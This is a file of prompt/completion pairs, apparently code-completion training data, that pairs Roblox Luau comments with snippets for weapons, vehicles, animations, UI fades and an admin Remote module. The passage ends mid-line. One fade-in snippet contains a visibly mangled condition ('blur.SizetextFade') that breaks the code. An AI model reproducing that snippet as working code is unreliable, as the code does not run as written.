"\nwhile true do\n\tlocal s = wait(4)\n\tlocal health = Humanoid.Health\n\tif health > 0 and health < Humanoid.MaxHealth then\n\t\thealth = health + 0.08 * s * Humanoid.MaxHealth\n\t\tif health * 1.05 < Humanoid.MaxHealth then\n\t\t\tHumanoid.Health = health\n\t\telse\n\t\t\tHumanoid.Health = Humanoid.MaxHealth\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[**\n\tensures Roblox Rect type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.Rect = primitive(\"Rect\")\n"} +{"prompt": "--// Connections", "completion": "\nL_105_.OnClientEvent:connect(function(L_188_arg1, L_189_arg2, L_190_arg3, L_191_arg4, L_192_arg5, L_193_arg6, L_194_arg7)\n\tif L_188_arg1 and not L_15_ then\n\t\tMakeFakeArms()\n\t\t\n\t\tL_42_ = L_2_.PlayerGui.MainGui\n\t\tL_26_ = L_42_:WaitForChild('Others')\n\t\tL_27_ = L_26_:WaitForChild('Kill')\n\t\tL_28_ = L_42_:WaitForChild('GameGui'):WaitForChild('AmmoFrame')\n\t\tL_29_ = L_28_:WaitForChild('Ammo')\n\t\tL_30_ = L_28_:WaitForChild('AmmoBackground')\n\t\tL_31_ = L_28_:WaitForChild('MagCount')\n\t\tL_32_ = L_28_:WaitForChild('MagCountBackground')\n\t\tL_33_ = L_28_:WaitForChild('DistDisp')\n\t\tL_34_ = L_28_:WaitForChild('Title')\n\t\tL_35_ = L_28_:WaitForChild('Mode1')\n\t\tL_36_ = L_28_:WaitForChild('Mode2')\n\t\tL_37_ = L_28_:WaitForChild('Mode3')\n\t\tL_38_ = L_28_:WaitForChild('Mode4')\n\t\tL_39_ = L_28_:WaitForChild('Mode5')\n\t\tL_40_ = L_28_:WaitForChild('Stances')\n\t\tL_41_ = L_42_:WaitForChild('Shading')\n\t\tL_41_.Visible = false\n\t\t\n\t\tL_34_.Text = L_1_.Name\n\t\tUpdateAmmo()\n\t\t\n\t\tL_43_ = L_189_arg2\n\t\tL_44_ = L_190_arg3\n\t\tL_45_ = L_191_arg4\n\t\tL_46_ = L_192_arg5\n\t\tL_47_ = L_193_arg6\n\t\tL_48_ = L_194_arg7\t\n\t\tL_49_ = L_59_.Bolt\n\t\t\n\t\tL_84_ = L_48_.C1\n\t\tL_85_ = L_48_.C0\n\t\t\n\t\tif L_1_:FindFirstChild('AimPart2') then\n\t\t\tL_54_ = L_1_:WaitForChild('AimPart2')\n\t\tend\n\t\t\n\t\tif L_1_:FindFirstChild('FirePart2') then\n\t\t\tL_57_ = L_1_.FirePart2\n\t\tend\n\t\t\n\t\tif L_24_.FirstPersonOnly then\n\t\t\tL_2_.CameraMode = Enum.CameraMode.LockFirstPerson\n\t\tend\n\t\t--uis.MouseIconEnabled = false\n\t\tL_5_.FieldOfView = 70\n\t\tL_15_ = true\n\telseif L_15_ then\n\t\tif L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then\n\t\t\tStand()\n\t\t\tUnlean()\n\t\tend\t\n\t\t\n\t\tL_90_ = 0\n\t\tL_77_ = false\n\t\tL_78_ = false\n\t\tL_79_ = false\n\t\tL_61_ = false\n\t\tL_64_ = false\n\t\tL_63_ = false\n\t\tShooting = false\n\t\t\n\t\tL_94_ = 70\n\t\t\n\t\tRemoveArmModel()\n\t\t\n\t\tL_42_:Destroy()\t\n\t\t\n\t\tfor L_195_forvar1, L_196_forvar2 in pairs(IgnoreList) do\n\t\t\tif L_196_forvar2 ~= L_3_ and L_196_forvar2 ~= L_5_ and L_196_forvar2 ~= L_98_ then\n\t\t\t\ttable.remove(IgnoreList, L_195_forvar1)\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then\n\t\t\tL_3_['Right Arm'].LocalTransparencyModifier = 0\n\t\t\tL_3_['Left Arm'].LocalTransparencyModifier = 0\n\t\tend\t\n\n\t\tL_75_ = false\n\t\tL_66_ = true\n\t\t\n\t\tL_2_.CameraMode = Enum.CameraMode.Classic\n\t\tL_104_.MouseIconEnabled = true\t\t\n\t\tL_5_.FieldOfView = 70\n\t\tL_15_ = false\n\t\tL_104_.MouseDeltaSensitivity = L_52_\n\t\tL_4_.Icon = \"http://www.roblox.com/asset?id=0\"\n\t\tL_15_ = false\n\t\tL_4_.TargetFilter = nil\n\tend\nend)\n"} +{"prompt": "--// Functions", "completion": "\nfunction MakeFakeArms()\n\tArms = Instance.new(\"Model\")\n\tArms.Name = \"Arms\"\n\tArms.Parent = L_5_\n\n\tlocal L_169_ = Instance.new(\"Humanoid\")\n\tL_169_.MaxHealth = 0\n\tL_169_.Health = 0\n\tL_169_.Name = \"\"\n\tL_169_.Parent = Arms\n\t\t\n\tif L_3_:FindFirstChild(\"Shirt\") then\n\t\tlocal L_174_ = L_3_:FindFirstChild(\"Shirt\"):clone()\n\t\tL_174_.Parent = Arms\n\tend\n\t\n\tlocal L_170_ = L_3_:FindFirstChild(\"Right Arm\"):clone()\n\tfor L_175_forvar1, L_176_forvar2 in pairs(L_170_:GetChildren()) do\n\t\tif L_176_forvar2:IsA('Motor6D') then\n\t\t\tL_176_forvar2:Destroy()\n\t\tend\n\tend\n\tL_170_.Name = \"Right Arm\"\n\tL_170_.FormFactor = \"Custom\"\n\tL_170_.Size = Vector3.new(0.8, 2.5, 0.8)\n\tL_170_.Transparency = 0.0\n\t\n\tlocal L_171_ = Instance.new(\"Motor6D\")\n\tL_171_.Part0 = L_170_\n\tL_171_.Part1 = L_3_:FindFirstChild(\"Right Arm\")\n\tL_171_.C0 = CFrame.new()\n\tL_171_.C1 = CFrame.new()\n\tL_171_.Parent = L_170_\t\n\tL_170_.Parent = Arms\n\t\t\n\tlocal L_172_ = L_3_:FindFirstChild(\"Left Arm\"):clone()\n\tL_172_.Name = \"Left Arm\"\n\tL_172_.FormFactor = \"Custom\"\n\tL_172_.Size = Vector3.new(0.8, 2.5, 0.8)\n\tL_172_.Transparency = 0.0\t\n\t\n\tlocal L_173_ = Instance.new(\"Motor6D\")\n\tL_173_.Part0 = L_172_\n\tL_173_.Part1 = L_3_:FindFirstChild(\"Left Arm\")\n\tL_173_.C0 = CFrame.new()\n\tL_173_.C1 = CFrame.new()\n\tL_173_.Parent = L_172_\t\n\tL_172_.Parent = Arms\nend\n\nfunction RemoveArmModel()\n\tif Arms then\n\t\tArms:Destroy()\n\t\tArms = nil\n\tend\nend\n\nlocal L_132_\n\nfunction CreateShell()\n\tL_132_ = time()\n\tlocal L_177_ = L_1_.Shell:clone()\n\tif L_177_:FindFirstChild('Shell') then\n\t\tL_177_.Shell:Destroy()\n\tend\n\tL_177_.CFrame = L_1_.Chamber.CFrame\n\tL_177_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0)\n\t--shell.RotVelocity = Vector3.new(-10,40,30)\n\tL_177_.Parent = L_98_\n\tL_177_.CanCollide = false\n\tgame:GetService(\"Debris\"):addItem(L_177_, 1)\n\tdelay(0.5, function()\n\t\tif L_19_:FindFirstChild('ShellCasing') then\n\t\t\tlocal L_178_ = L_19_.ShellCasing:clone()\n\t\t\tL_178_.Parent = L_2_.PlayerGui\n\t\t\tL_178_:Play()\n\t\t\tgame:GetService('Debris'):AddItem(L_178_, L_178_.TimeLength)\n\t\tend\n\tend)\nend\n"} +{"prompt": "--script.AB.Value = true", "completion": "\n\tcarSeat.Parent.Weight.FrontDF.Force = Vector3.new(0, 0, 0)\n\tcarSeat.Parent.Weight.RearDF.Force = Vector3.new(0, 0, 0)\n\telse --script.AB.Value = false\ncarSeat.Parent.Weight.FrontDF.Force = Vector3.new(0, (-1.2*DFF)*speed, (0.3*DFF)*speed)\ncarSeat.Parent.Weight.FrontDF.Location = Vector3.new(0,-2,-2)\n\ncarSeat.Parent.Weight.RearDF.Force = Vector3.new(0, ((-2.2*DFR)-1.5)*speed, (0.6*DFR)*speed)\ncarSeat.Parent.Weight.RearDF.Location = Vector3.new(0,1,4)\nend\n"} +{"prompt": "-- declarations", "completion": "\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n\nlocal jumpAnimTime = 0\nlocal jumpAnimDuration = 0.31\n\nlocal toolTransitionTime = 0.1\nlocal fallTransitionTime = 0.2\n\nlocal currentlyPlayingEmote = false\n"} +{"prompt": "--[[\n\tDisplays a countdown for the intermission\n]]", "completion": "\nlocal function startCountdown()\n\tlocal gameStartingElement = activeElements.GameStartingElement\n\n\tgameStartingElement:FindFirstChild(\"Title\").Text = translate(\"STARTING\")\n\n\tgameStartingElement.Visible = true\n\tactiveElements.WaitingElement.Visible = false\n\n\tlocal startingTick = tick()\n\tlocal timeLeft = intermissionTime - (startingTick - tick())\n\n\twhile timeLeft > 0 do\n\t\ttimeLeft = timeLeft - wait()\n\n\t\tif not gameStartingElement or not gameStartingElement.Parent then\n\t\t\treturn\n\t\tend\n\n\t\tgameStartingElement.Amount.Text = math.floor(timeLeft + 0.5)\n\tend\nend\n"} +{"prompt": "--[[\n\tBaseCamera - Abstract base class for camera control modules\n\t2018 Camera Update - AllYourBlox\n--]]", "completion": "\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\n\nreturn function(data)\n\tlocal gui = client.UI.Prepare(script.Parent.Parent) -- Change it to a TextLabel to avoid chat clearing\n\tlocal playergui = service.PlayerGui\n\tlocal frame = gui.Frame\n\tlocal msg = gui.Frame.Message\n\tlocal ttl = gui.Frame.Title\n\t\n\tlocal gIndex = data.gIndex\n\tlocal gTable = data.gTable\n\t\n\tlocal title = data.Title\n\tlocal message = data.Message\n\tlocal scroll = data.Scroll\n\tlocal tim = data.Time\n\t\n\tif not data.Message or not data.Title then gui:Destroy() end\n\t\n\tttl.Text = title\n\tmsg.Text = message\n\tttl.TextTransparency = 1\n\tmsg.TextTransparency = 1\n\tttl.TextStrokeTransparency = 1\n\tmsg.TextStrokeTransparency = 1\n\tframe.BackgroundTransparency = 1\n\t\n\t\n\tlocal blur = service.New(\"BlurEffect\")\n\tblur.Enabled = false\n\tblur.Size = 0\n\tblur.Parent = service.Workspace.CurrentCamera\n\t\n\tlocal fadeSteps = 10\n\tlocal blurSize = 10\n\tlocal textFade = 0.1\n\tlocal strokeFade = 0.5\n\tlocal frameFade = 0.3\n\t\n\tlocal blurStep = blurSize/fadeSteps\n\tlocal frameStep = frameFade/fadeSteps\n\tlocal textStep = 0.1\n\tlocal strokeStep = 0.1\n\tlocal gone = false\n\t\n\tlocal function fadeIn()\n\t\tif not gone then\n\t\t\tblur.Enabled = true\n\t\t\tgTable:Ready()\n\t\t\t--gui.Parent = service.PlayerGui\n\t\t\tfor i = 1,fadeSteps do\n\t\t\t\tif blur.SizetextFade then\n\t\t\t\t\tmsg.TextTransparency = msg.TextTransparency-textStep\n\t\t\t\t\tttl.TextTransparency = ttl.TextTransparency-textStep\n\t\t\t\tend\n\t\t\t\tif msg.TextStrokeTransparency>strokeFade then\n\t\t\t\t\tmsg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep\n\t\t\t\t\tttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep\n\t\t\t\tend\n\t\t\t\tif frame.BackgroundTransparency>frameFade then\n\t\t\t\t\tframe.BackgroundTransparency = frame.BackgroundTransparency-frameStep\n\t\t\t\tend\n\t\t\t\twait(1/60)\n\t\t\tend\n\t\tend\n\tend\n\t\n\tlocal function fadeOut()\n\t\tif not gone then\n\t\t\tfor i = 1,fadeSteps do\n\t\t\t\tif blur.Size>0 then\n\t\t\t\t\tblur.Size = blur.Size-blurStep\n\t\t\t\tend\n\t\t\t\tif msg.TextTransparency<1 then\n\t\t\t\t\tmsg.TextTransparency = msg.TextTransparency+textStep\n\t\t\t\t\tttl.TextTransparency = ttl.TextTransparency+textStep\n\t\t\t\tend\n\t\t\t\tif msg.TextStrokeTransparency<1 then\n\t\t\t\t\tmsg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep\n\t\t\t\t\tttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep\n\t\t\t\tend\n\t\t\t\tif frame.BackgroundTransparency<1 then\n\t\t\t\t\tframe.BackgroundTransparency = frame.BackgroundTransparency+frameStep\n\t\t\t\tend\n\t\t\t\twait(1/60)\n\t\t\tend\n\t\t\tblur.Enabled = false\n\t\t\tblur:Destroy()\n\t\t\tservice.UnWrap(gui):Destroy()\n\t\t\tgone = true\n\t\tend\n\tend\n\t\n\tgTable.CustomDestroy = function()\n\t\tif not gone then\n\t\t\tgone = true\n\t\t\tpcall(fadeOut)\n\t\tend\n\t\t\n\t\tpcall(function() service.UnWrap(gui):Destroy() end)\n\t\tpcall(function() blur:Destroy() end)\n\tend\n\t\n\t\n\t--[[if not scroll then\n\t\tmsg.Text = message\n\telse\n\t\tRoutine(function()\n\t\t\twait(0.5)\n\t\t\tfor i = 1, #message do \n\t\t\t\tmsg.Text = msg.Text .. message:sub(i,i) \n\t\t\t\twait(0.05) \n\t\t\tend \n\t\tend)\n\tend--]] -- For now?\n\t\n\tfadeIn()\n\twait(tim or 5)\n\tif not gone then\n\t\tfadeOut()\n\tend\n\t\n\t--[[\n\t\n\tframe.Position = UDim2.new(0.5,-175,-1.5,0)\n\t\n\tgui.Parent = playergui\n\t\n\tframe:TweenPosition(UDim2.new(0.5,-175,0.25,0),nil,nil,0.5)\n\t\n\tif not scroll then\n\t\tmsg.Text = message\n\t\twait(tim or 10)\n\telse\n\t\twait(0.5)\n\t\tfor i = 1, #message do \n\t\t\tmsg.Text = msg.Text .. message:sub(i,i) \n\t\t\twait(0.05) \n\t\tend \n\t\twait(tim or 5) \n\tend\n\t\n\tif frame then\n\t\tframe:TweenPosition(UDim2.new(0.5,-175,-1.5,0),nil,nil,0.5)\n\t\twait(1)\n\t\tgui:Destroy()\n\tend\n\t--]]\nend\n"} +{"prompt": "--[=[\n\t@param andThenFn (value: any) -> Option\n\t@return value: Option\n\tIf the option holds a value, then the `andThenFn`\n\tfunction is called with the held value of the option,\n\tand then the resultant Option returned by the `andThenFn`\n\tis returned. Otherwise, None is returned.\n\n\t```lua\n\tlocal optA = Option.Some(32)\n\tlocal optB = optA:AndThen(function(num)\n\t\treturn Option.Some(num * 2)\n\tend)\n\tprint(optB:Expect(\"Expected number\")) --> 64\n\t```\n]=]", "completion": "\nfunction Option:AndThen(andThenFn)\n\tif self:IsSome() then\n\t\tlocal result = andThenFn(self:Unwrap())\n\t\tOption.Assert(result)\n\t\treturn result\n\telse\n\t\treturn Option.None\n\tend\nend\n\n"} +{"prompt": "--[[Output Scaling Factor]]", "completion": "\n\n\tlocal hpScaling = _Tune.WeightScaling*10\n\tlocal FBrakeForce = _Tune.FBrakeForce\n\tlocal RBrakeForce = _Tune.RBrakeForce\n\tlocal PBrakeForce = _Tune.PBrakeForce\n\tif not workspace:PGSIsEnabled() then\n\t\thpScaling = _Tune.LegacyScaling*10\n\t\tFBrakeForce = _Tune.FLgcyBForce\n\t\tRBrakeForce = _Tune.RLgcyBForce\n\t\tPBrakeForce = _Tune.LgcyPBForce\n\tend\n"} +{"prompt": "--------------------[ ARM CREATION FUNCTION ]-----------------------------------------", "completion": "\n\nfunction createArms()\n\tlocal Arms = {}\n\tfor i = 0, 1 do\n\t\tlocal armModel = Instance.new(\"Model\")\n\t\tarmModel.Name = \"armModel\"\n\t\t\n\t\tlocal Arm = Instance.new(\"Part\")\n\t\tArm.BrickColor = (S.fakeArmSettings.realBodyColor and (i == 0 and LArm.BrickColor or RArm.BrickColor) or S.fakeArmSettings.Color)\n\t\tArm.Transparency = S.fakeArmSettings.Transparency\n\t\tArm.Name = \"Arm\"\n\t\tArm.CanCollide = false\n\t\tArm.Size = V3(0.598, 2, 0.598)\n\t\tArm.Parent = armModel\n\t\tlocal armMesh = Instance.new(\"SpecialMesh\")\n\t\tarmMesh.MeshId = \"rbxasset://fonts//leftarm.mesh\"\n\t\tarmMesh.MeshType = Enum.MeshType.FileMesh\n\t\tarmMesh.Scale = V3(0.598, 1, 0.598)\n\t\tarmMesh.Parent = Arm\n\t\t\n\t\tlocal Glove1 = Instance.new(\"Part\")\n\t\tGlove1.BrickColor = BrickColor.new(\"Black\")\n\t\tGlove1.Name = \"Glove1\"\n\t\tGlove1.CanCollide = false\n\t\tGlove1.Size = V3(0.598, 2, 0.598)\n\t\tGlove1.Parent = armModel\n\t\tlocal glove1Mesh = Instance.new(\"SpecialMesh\")\n\t\tglove1Mesh.MeshId = \"rbxasset://fonts//leftarm.mesh\"\n\t\tglove1Mesh.Offset = V3(0, -0.5, 0)\n\t\tglove1Mesh.Scale = V3(0.658, 0.205, 0.658)\n\t\tglove1Mesh.Parent = Glove1\n\t\tlocal glove1Weld = Instance.new(\"Weld\")\n\t\tglove1Weld.Part0 = Arm\n\t\tglove1Weld.Part1 = Glove1\n\t\tglove1Weld.Parent = Arm\n\t\t\n\t\tlocal Glove2 = Instance.new(\"Part\")\n\t\tGlove2.BrickColor = BrickColor.new(\"Black\")\n\t\tGlove2.Name = \"Glove2\"\n\t\tGlove2.CanCollide = false\n\t\tGlove2.Size = V3(0.598, 2, 0.598)\n\t\tGlove2.Parent = armModel\n\t\tlocal glove2Mesh = Instance.new(\"SpecialMesh\")\n\t\tglove2Mesh.MeshId = \"rbxasset://fonts//leftarm.mesh\"\n\t\tglove2Mesh.Offset = V3(0, -0.435, 0)\n\t\tglove2Mesh.Scale = V3(0.69, 0.105, 0.69)\n\t\tglove2Mesh.Parent = Glove2\n\t\tlocal glove2Weld = Instance.new(\"Weld\")\n\t\tglove2Weld.Part0 = Arm\n\t\tglove2Weld.Part1 = Glove2\n\t\tglove2Weld.Parent = Arm\n\t\t\n\t\tlocal Glove3 = Instance.new(\"Part\")\n\t\tGlove3.BrickColor = BrickColor.new(\"Black\")\n\t\tGlove3.Name = \"Glove3\"\n\t\tGlove3.CanCollide = false\n\t\tGlove3.Size = V3(0.598, 2, 0.598)\n\t\tGlove3.Parent = armModel\n\t\tlocal glove3Mesh = Instance.new(\"SpecialMesh\")\n\t\tglove3Mesh.MeshId = \"rbxasset://fonts//leftarm.mesh\"\n\t\tglove3Mesh.Offset = V3(0.18 * ((i * 2) - 1), -0.7, 0)\n\t\tglove3Mesh.Scale = V3(0.299, 0.305, 0.657)\n\t\tglove3Mesh.Parent = Glove3\n\t\tlocal glove3Weld = Instance.new(\"Weld\")\n\t\tglove3Weld.Part0 = Arm\n\t\tglove3Weld.Part1 = Glove3\n\t\tglove3Weld.Parent = Arm\n\t\t\n\t\tlocal Sleeve1 = Instance.new(\"Part\")\n\t\tSleeve1.BrickColor = BrickColor.new(\"Sand green\")\n\t\tSleeve1.Name = \"Sleeve1\"\n\t\tSleeve1.CanCollide = false\n\t\tSleeve1.Size = V3(0.598, 2, 0.598)\n\t\tSleeve1.Parent = armModel\n\t\tlocal sleeve1Mesh = Instance.new(\"SpecialMesh\")\n\t\tsleeve1Mesh.MeshId = \"rbxasset://fonts//leftarm.mesh\"\n\t\tsleeve1Mesh.Offset = V3(0, 0.75, 0)\n\t\tsleeve1Mesh.Scale = V3(0.656, 0.3, 0.656)\n\t\tsleeve1Mesh.Parent = Sleeve1\n\t\tlocal sleeve1Weld = Instance.new(\"Weld\")\n\t\tsleeve1Weld.Part0 = Arm\n\t\tsleeve1Weld.Part1 = Sleeve1\n\t\tsleeve1Weld.Parent = Arm\n\t\t\n\t\tlocal Sleeve2 = Instance.new(\"Part\")\n\t\tSleeve2.BrickColor = BrickColor.new(\"Sand green\")\n\t\tSleeve2.Name = \"Sleeve2\"\n\t\tSleeve2.CanCollide = false\n\t\tSleeve2.Size = V3(0.598, 2, 0.598)\n\t\tSleeve2.Parent = armModel\n\t\tlocal sleeve2Mesh = Instance.new(\"SpecialMesh\")\n\t\tsleeve2Mesh.MeshId = \"rbxasset://fonts//leftarm.mesh\"\n\t\tsleeve2Mesh.Offset = V3(0, 0.55, 0)\n\t\tsleeve2Mesh.Scale = V3(0.75, 0.1, 0.75)\n\t\tsleeve2Mesh.Parent = Sleeve2\n\t\tlocal sleeve2Weld = Instance.new(\"Weld\")\n\t\tsleeve2Weld.Part0 = Arm\n\t\tsleeve2Weld.Part1 = Sleeve2\n\t\tsleeve2Weld.Parent = Arm\n\t\t\n\t\ttable.insert(Arms, {Model = armModel, armPart = Arm})\n\tend\n\treturn Arms\nend\n"} +{"prompt": "-- initialize to idle", "completion": "\nplayAnimation(\"idle\", 0.1, Humanoid)\npose = \"Standing\"\n"} +{"prompt": "--Turbocharger", "completion": "\nlocal BOV_Loudness = .75\t--volume of the BOV (not exact volume so you kinda have to experiment with it)\nlocal BOV_Pitch = 0.9\t--max pitch of the BOV (not exact so might have to mess with it)\nlocal T_Loudness = .325 --volume of the turbo(s) (not exact volume so you kinda have to experiment with it also)\n"} +{"prompt": "-- Player specific convenience variables", "completion": "\nlocal MyPlayer = nil\nlocal MyCharacter = nil\nlocal MyHumanoid = nil\nlocal MyTorso = nil\nlocal MyMouse = nil\nlocal rot = {\"100\",\"200\",\"300\",\"400\",\"500\",\"-100\",\"-200\",\"-300\",\"-400\",\"-500\"}\npi = {\"1\",\"1\",\"1\",\"1.05\",\"0.95\"}\nlocal RecoilAnim\nlocal RecoilTrack = nil\n\nlocal IconURL = Tool.TextureId -- URL to the weapon icon asset\n\nlocal DebrisService = game:GetService('Debris')\nlocal PlayersService = game:GetService('Players')\n\n\nlocal FireSound\n\nlocal OnFireConnection = nil\nlocal OnReloadConnection = nil\n\nlocal DecreasedAimLastShot = false\nlocal LastSpreadUpdate = time()\n"} +{"prompt": "--[[**\n\tmatches given tuple against tuple type definition\n\n\t@param ... The type definition for the tuples\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.tuple(...)\n\tlocal checks = { ... }\n\treturn function(...)\n\t\tlocal args = { ... }\n\t\tfor i, check in ipairs(checks) do\n\t\t\tlocal success, errMsg = check(args[i])\n\t\t\tif success == false then\n\t\t\t\treturn false, string.format(\"Bad tuple index #%s:\\n\\t%s\", i, errMsg or \"\")\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\tend\nend\n"} +{"prompt": "--local player = game:GetService(\"Players\").PlayerAdded:Connect(function(plr) \n--\tplr.CharacterAdded:Connect(function(char)\n--local char = script.Parent.Parent.Parent\n--local Params = RaycastParams.new()\n--\tParams.FilterDescendantsInstances = {char}\n--\tParams.FilterType = Enum.RaycastFilterType.Blacklist\n--\tprint(Params.FilterDescendantsInstances)\n--\tend)\n--end)", "completion": "\n\nlocal newHitbox = RaycastHitbox.new(script.Parent)\nnewHitbox.Visualizer = false\n\nnewHitbox.OnHit:Connect(function(hit, humanoid)\n\tif humanoid.Parent.Name ~= script.Parent.Parent.Parent.Name then\n\t\thumanoid:TakeDamage(100)\n\tend\nend)\n\nevent.OnServerEvent:Connect(function(db)\n\t\tnewHitbox:HitStart()\n\t\twait(1)\n\t\tnewHitbox:HitStop()\nend)\n"} +{"prompt": "---[[ Misc Settings ]]", "completion": "\nmodule.WhisperCommandAutoCompletePlayerNames = true\n"} +{"prompt": "--[[Engine]]\n--Torque Curve", "completion": "\nTune.Horsepower\t\t= 3000\t\t--\t[TORQUE CURVE VISUAL]\nTune.IdleRPM\t\t= 1000\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\nTune.PeakRPM\t\t= 8000\t\t--\t\tUse sliders to manipulate values\nTune.Redline\t\t= 9000--\t\tCopy and paste slider values into the respective tune values\nTune.EqPoint\t\t= 10700\nTune.PeakSharpness\t= 2.3\nTune.CurveMult\t\t= 0.07\n"} +{"prompt": "--\t\t\t\t{ id = \"slash.xml\", weight = 10 } ", "completion": "\n\t\t\t},\n\ttoollunge = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507768375\", weight = 10 } \n\t\t\t},\n\twave = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507770239\", weight = 10 } \n\t\t\t},\n\tpoint = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507770453\", weight = 10 } \n\t\t\t},\n\tdance = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507771019\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507771955\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507772104\", weight = 10 } \n\t\t\t},\n\tdance2 = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507776043\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507776720\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507776879\", weight = 10 } \n\t\t\t},\n\tdance3 = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507777268\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507777451\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507777623\", weight = 10 } \n\t\t\t},\n\tlaugh = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507770818\", weight = 10 } \n\t\t\t},\n\tcheer = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507770677\", weight = 10 } \n\t\t\t},\n}\n"} +{"prompt": "--[[local debounce = false\nfunction onClicked(click)\n\tif debounce == false then\n\tdebounce = true\t\n\tif script.Parent.Parent.Frame.Visible == false then\n\t\tprint(\"open\")\n\tscript.Parent.Parent.Frame.Visible = true\t\n\ttweenmenu:Play()\n\twait(1)\n\tdebounce = false\t\t\t\t\t\n\t\telse\n\t\tprint(\"close\")\n\ttweenmenuclose:Play()\n\twait(0.5)\n\tscript.Parent.Parent.Frame.Visible = false\n\tdebounce = false\t\t\t\t\t\t\n\tend\t\n\tend\t\nend\nscript.Parent.MouseButton1Down:connect(onClicked)]]", "completion": "\n\nfunction onClicked(click)\n\tscript.Parent.Parent.Visible = false\n\tscript.Parent.Parent.Parent.Colors.Visible = true\nend\nscript.Parent.MouseButton1Down:connect(onClicked)\n"} +{"prompt": "--// Remote", "completion": "\nreturn function(Vargs, GetEnv)\n\tlocal env = GetEnv(nil, {script = script})\n\tsetfenv(1, env)\n\n\tlocal server = Vargs.Server;\n\tlocal service = Vargs.Service;\n\n\tlocal Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings, Defaults, Commands\n\tlocal function Init()\n\t\tFunctions = server.Functions;\n\t\tAdmin = server.Admin;\n\t\tAnti = server.Anti;\n\t\tCore = server.Core;\n\t\tHTTP = server.HTTP;\n\t\tLogs = server.Logs;\n\t\tRemote = server.Remote;\n\t\tProcess = server.Process;\n\t\tVariables = server.Variables;\n\t\tSettings = server.Settings;\n\t\tDefaults = server.Defaults;\n\t\tCommands = server.Commands\n\n\t\tRemote.Init = nil;\n\t\tLogs:AddLog(\"Script\", \"Remote Module Initialized\")\n\tend;\n\n\tlocal function RunAfterPlugins(data)\n\t\tfor com in next, Remote.Commands do\n\t\t\tif string.len(com) > Remote.MaxLen then\n\t\t\t\tRemote.MaxLen = string.len(com)\n\t\t\tend\n\t\tend\n\n\t\t--// Start key check loop\n\t\tservice.StartLoop(\"ClientKeyCheck\", 60, Remote.CheckKeys, true);\n\n\t\tRemote.RunAfterPlugins = nil;\n\t\tLogs:AddLog(\"Script\", \"Remote Module RunAfterPlugins Finished\");\n\tend\n\n\tserver.Remote = {\n\t\tInit = Init;\n\t\tRunAfterPlugins = RunAfterPlugins;\n\n\t\tMaxLen = 0;\n\t\tClients = {};\n\t\tReturns = {};\n\t\tSessions = {};\n\t\tPendingReturns = {};\n\t\tEncodeCache = {};\n\t\tDecodeCache = {};\n\n\t\tTimeUntilKeyDestroyed = 60 * 5; --// How long until a player's key data should be completely removed?\n\n\t\t--// Settings any client/user can grab\n\t\tAllowedSettings = {\n\t\t\tTheme = true;\n\t\t\tMobileTheme = true;\n\t\t\tDefaultTheme = true;\n\t\t\tHelpButtonImage = true;\n\t\t\tPrefix = true;\n\t\t\tPlayerPrefix = true;\n\t\t\tSpecialPrefix = true;\n\t\t\tBatchKey = true;\n\t\t\tAnyPrefix = true;\n\t\t\tDonorCommands = true;\n\t\t\tDonorCapes = true;\n\t\t\tConsoleKeyCode = true;\n\t\t\tSplitKey = true;\n\t\t};\n\n\t\t--// Settings that are never sent to the client\n\t\t--// These are blacklisted at the datastore level and cannot be updated in-game\n\t\tBlockedSettings = {\n\t\t\tTrello_Enabled = true;\n\t\t\tTrello_Primary = true;\n\t\t\tTrello_Secondary = true;\n\t\t\tTrello_Token = true;\n\t\t\tTrello_AppKey = true;\n\n\t\t\tDataStore = true;\n\t\t\tDataStoreKey = true;\n\t\t\tDataStoreEnabled = true;\n\n\t\t\tCreators = true;\n\t\t\tPermissions = true;\n\n\t\t\tG_API = true;\n\t\t\tG_Access = true;\n\t\t\tG_Access_Key = true;\n\t\t\tG_Access_Perms = true;\n\t\t\tAllowed_API_Calls = true;\n\n\t\t\tOnStartup = true;\n\t\t\tOnSpawn = true;\n\t\t\tOnJoin = true;\n\n\t\t\tCustomRanks = true;\n\t\t};\n\n\t\tReturnables = {\n\t\t\tRateLimits = function(p, args)\n\t\t\t\treturn server.Process.RateLimits\n\t\t\tend;\n\n\t\t\tTest = function(p,args)\n\t\t\t\treturn \"HELLO FROM THE OTHER SIDE :)!\"\n\t\t\tend;\n\n\t\t\tPing = function(p,args)\n\t\t\t\treturn \"Pong\"\n\t\t\tend;\n\n\t\t\tFilter = function(p,args)\n\t\t\t\treturn service.Filter(args[1],args[2],args[3])\n\t\t\tend;\n\n\t\t\tBroadcastFilter = function(p,args)\n\t\t\t\treturn service.BroadcastFilter(args[1],args[2] or 